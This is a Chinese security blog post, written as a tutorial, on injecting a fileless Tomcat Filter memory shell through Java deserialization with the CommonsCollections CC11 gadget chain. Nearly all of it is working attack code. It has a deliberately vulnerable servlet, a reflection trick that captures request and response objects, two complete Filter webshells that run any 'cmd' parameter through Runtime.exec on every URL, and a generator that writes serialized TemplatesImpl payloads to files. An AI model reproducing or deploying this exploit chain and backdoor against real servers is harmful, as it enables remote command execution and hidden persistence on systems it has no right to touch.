Java反序列化打内存马

发表于 2025-04-20 分类于 Java 阅读次数：

Java反序列化打内存马

对于我们之前学习的Tomcat内存马，只算是做了一些简单的实验，并未能够完全应用，只能通过文件上传jsp的方式来注入内存马，也是存在文件落地的现象的，并非真正的内存马

所以这篇文章，我们来学习利用反序列化来实现真正的内存马注入，本文会使用CC11链来进行内存马的注入，实现真正的无文件落地内存马，在使用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象，所以在回显问题上不用考虑，但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方

回显技术

回显技术已经在之前的文章中说过，常用就分为以下几类：

半通用Tomcat回显
Tomcat低版本全局存储回显
Tomcat高版本全局存储回显

反序列化注入内存马

低版本Tomcat注入内存马

来简单捋一下注入内存马的思路

漏洞环境

这里使用WebApp项目，且使用低版本Tomcat

这里我们写一个简单的Servlet，模拟存在反序列化的点

package com.sermemshell;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        InputStream inputStream = (InputStream) req;
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        resp.getWriter().write("Success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        InputStream inputStream = req.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        resp.getWriter().write("Success");
    }
}

半通用回显

这里使用Tomcat半通用回显，具体内容看Java回显技术

package com.EXP;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class TomcatEcho extends AbstractTranslet {

    static {
        try{
            Class c =  Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
            Field modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
            f.setAccessible(true);
            if(f.getBoolean(null) == Boolean.FALSE){
                f.setBoolean(null,Boolean.TRUE);
            }

            c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            f = c.getDeclaredField("lastServicedRequest");
            modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null,new ThreadLocal());
            }

            f = c.getDeclaredField("lastServicedResponse");
            modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null,new ThreadLocal());
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

内存马注入

这里以Filter内存马为示例，获取 request 和 response，将命令执行结果写入response

自写POC

跟着师傅的博客，自己翻阅着笔记，写出来这么一个东西T^T，对于搭建的漏洞环境，起码是可以注入了

package com.EXP;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;

public class TomcatInject extends AbstractTranslet implements Filter {

    private final String cmdParamName="cmd";
    private final static String filterUrl = "/*";
    private final static String filterName="Sean";

    static{
        try{
            ServletContext servletContext = getServletContext();
            if (servletContext != null) {
                Field ctx = servletContext.getClass().getDeclaredField("context");
                ctx.setAccessible(true);
                ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
                Field stdctx = appctx.getClass().getDeclaredField("context");
                stdctx.setAccessible(true);
                StandardContext standardContext = (StandardContext) stdctx.get(appctx);
                if (standardContext != null) {
                    TomcatInject cmdFilter = new TomcatInject();

                    FilterDef def = new FilterDef();
                    def.setFilterName(filterName);
                    def.setFilter(cmdFilter);
                    def.setFilterClass(cmdFilter.getClass().getName());

                    FilterMap map = new FilterMap();
                    map.setFilterName(filterName);
                    map.addURLPattern(filterUrl);

                    standardContext.addFilterDef(def);
                    standardContext.addFilterMapBefore(map);
                    standardContext.filterStart();
                }
            }

        }catch (Exception e){
            e.printStackTrace();
        }

    }

    public static ServletContext  getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ServletRequest servletRequest = null;
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        if (servletRequest != null) {
            return servletRequest.getServletContext();
        }
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter(cmdParamName);
            if (cmd!= null && cmd != "") {
                InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();
                Scanner scanner = new Scanner(stream).useDelimiter("\\A");
                String s = scanner.hasNext() ? scanner.next() : "";
                PrintWriter writer = servletResponse.getWriter();
                writer.write(s);
                writer.flush();
                writer.close();
            }
            filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }

}

拿来拿来

这里就借用DrunkBaby师傅的POC，还是DrunkBaby的全面，对于很多东西考虑感觉是我达不到的高度了

package EXP;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.apache.catalina.LifecycleState;  
import org.apache.catalina.core.ApplicationContext;  
import org.apache.catalina.core.StandardContext;  
  
import java.io.IOException;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import javax.servlet.Filter;  
import javax.servlet.FilterChain;  
import javax.servlet.FilterConfig;  
import javax.servlet.ServletContext;  
import javax.servlet.ServletException;  
import javax.servlet.ServletRequest;  
import javax.servlet.ServletResponse;  
  
/**  
 * @author threedr3am  
 */public class TomcatInject extends AbstractTranslet implements Filter {  
  
    /**  
     * webshell命令参数名  
     */  
    private final String cmdParamName = "cmd";  
    private final static String filterUrlPattern = "/*";  
    private final static String filterName = "Drunkbaby";  
  
    static {  
        try {  
            ServletContext servletContext = getServletContext();  
            if (servletContext != null){  
                Field ctx = servletContext.getClass().getDeclaredField("context");  
                ctx.setAccessible(true);  
                ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);  
  
                Field stdctx = appctx.getClass().getDeclaredField("context");  
                stdctx.setAccessible(true);  
                StandardContext standardContext = (StandardContext) stdctx.get(appctx);  
  
                if (standardContext != null){  
                    // 这样设置不会抛出报错  
                    Field stateField = org.apache.catalina.util.LifecycleBase.class  
                            .getDeclaredField("state");  
                    stateField.setAccessible(true);  
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);  
  
                    Filter myFilter =new TomcatInject();  
                    // 调用 doFilter 来动态添加我们的 Filter                    // 这里也可以利用反射来添加我们的 Filter                    
                    javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName,myFilter);  
  
                    // 进行一些简单的设置  
                    filterRegistration.setInitParameter("encoding", "utf-8");  
                    filterRegistration.setAsyncSupported(false);  
                    // 设置基本的 url pattern                    filterRegistration  
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,  
                                    new String[]{"/*"});  
  
                    // 将服务重新修改回来，不然的话服务会无法正常进行  
                    if (stateField != null){  
                        stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);  
                    }  
  
                    // 在设置之后我们需要 调用 filterstart                    
                    if (standardContext != null){  
                        // 设置filter之后调用 filterstart 来启动我们的 filter                        Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");  
                        filterStartMethod.setAccessible(true);  
                        filterStartMethod.invoke(standardContext,null);  
  
                        /**  
                         * 将我们的 filtermap 插入到最前面  
                         */  
  
                        Class ccc = null;  
                        try {  
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");  
                        } catch (Throwable t){}  
                        if (ccc == null) {  
                            try {  
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");  
                            } catch (Throwable t){}  
                        }  
                        //把filter插到第一位  
                        Method m = Class.forName("org.apache.catalina.core.StandardContext")  
                                .getDeclaredMethod("findFilterMaps");  
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);  
                        Object[] tmpFilterMaps = new Object[filterMaps.length];  
                        int index = 1;  
                        for (int i = 0; i < filterMaps.length; i++) {  
                            Object o = filterMaps[i];  
                            m = ccc.getMethod("getFilterName");  
                            String name = (String) m.invoke(o);  
                            if (name.equalsIgnoreCase(filterName)) {  
                                tmpFilterMaps[0] = o;  
                            } else {  
                                tmpFilterMaps[index++] = filterMaps[i];  
                            }  
                        }  
                        for (int i = 0; i < filterMaps.length; i++) {  
                            filterMaps[i] = tmpFilterMaps[i];  
                        }  
                    }  
                }  
  
            }  
  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    private static ServletContext getServletContext()  
            throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        ServletRequest servletRequest = null;  
        /*shell注入，前提需要能拿到request、response等*/  
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");  
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");  
        f.setAccessible(true);  
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);  
        //不为空则意味着第一次反序列化的准备工作已成功  
        if (threadLocal != null && threadLocal.get() != null) {  
            servletRequest = (ServletRequest) threadLocal.get();  
        }  
        //如果不能去到request，则换一种方式尝试获取  
  
        //spring获取法1  
        if (servletRequest == null) {  
            try {  
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");  
                Method m = c.getMethod("getRequestAttributes");  
                Object o = m.invoke(null);  
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");  
                m = c.getMethod("getRequest");  
                servletRequest = (ServletRequest) m.invoke(o);  
            } catch (Throwable t) {}  
        }  
        if (servletRequest != null)  
            return servletRequest.getServletContext();  
  
        //spring获取法2  
        try {  
            c = Class.forName("org.springframework.web.context.ContextLoader");  
            Method m = c.getMethod("getCurrentWebApplicationContext");  
            Object o = m.invoke(null);  
            c = Class.forName("org.springframework.web.context.WebApplicationContext");  
            m = c.getMethod("getServletContext");  
            ServletContext servletContext = (ServletContext) m.invoke(o);  
            return servletContext;  
        } catch (Throwable t) {}  
        return null;  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)  
            throws TransletException {  
  
    }  
  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
  
    }  
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,  
                         FilterChain filterChain) throws IOException, ServletException {  
        System.out.println(  
                "TomcatShellInject doFilter.....................................................................");  
        String cmd;  
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {  
            Process process = Runtime.getRuntime().exec(cmd);  
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(  
                    new java.io.InputStreamReader(process.getInputStream()));  
            StringBuilder stringBuilder = new StringBuilder();  
            String line;  
            while ((line = bufferedReader.readLine()) != null) {  
                stringBuilder.append(line + '\n');  
            }  
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());  
            servletResponse.getOutputStream().flush();  
            servletResponse.getOutputStream().close();  
            return;  
        }  
        filterChain.doFilter(servletRequest, servletResponse);  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

序列化数据生成

这里使用CC11的链子，这里我们只能使用动态加载字节码的方式来进行注入

我们使用CC11链子，分别生成半通用回显和内存马注入的两个存储着序列化数据的文件

package com.EXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

    public static void main(String[] args) throws Exception {
        byte[] bytes = getBytes();
        byte[][] targetByteCodes = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field f0 = templates.getClass().getDeclaredField("_bytecodes");
        f0.setAccessible(true);
        f0.set(templates,targetByteCodes);

        f0 = templates.getClass().getDeclaredField("_name");
        f0.setAccessible(true);
        f0.set(templates,"name");

        f0 = templates.getClass().getDeclaredField("_class");
        f0.setAccessible(true);
        f0.set(templates,null);

        // 利用反射调用 templates 中的 newTransformer 方法
        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        // 我们要设置 HashSet 的 map 为我们的 HashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap hashset_map = (HashMap) f.get(hashset);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[])f2.get(hashset_map);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        // 在 invoke 之后，
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");
        f3.setAccessible(true);
        f3.set(transformer,"newTransformer");

        try{
//            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
            outputStream.writeObject(hashset);
            outputStream.close();

        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static byte[] getBytes() throws IOException {
        //    第一次
//                InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\TomcatEcho.class"));
//          第二次
        InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\TomcatInject.class"));

//        InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\Calc.class"));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }

    public void filter(){

    }
}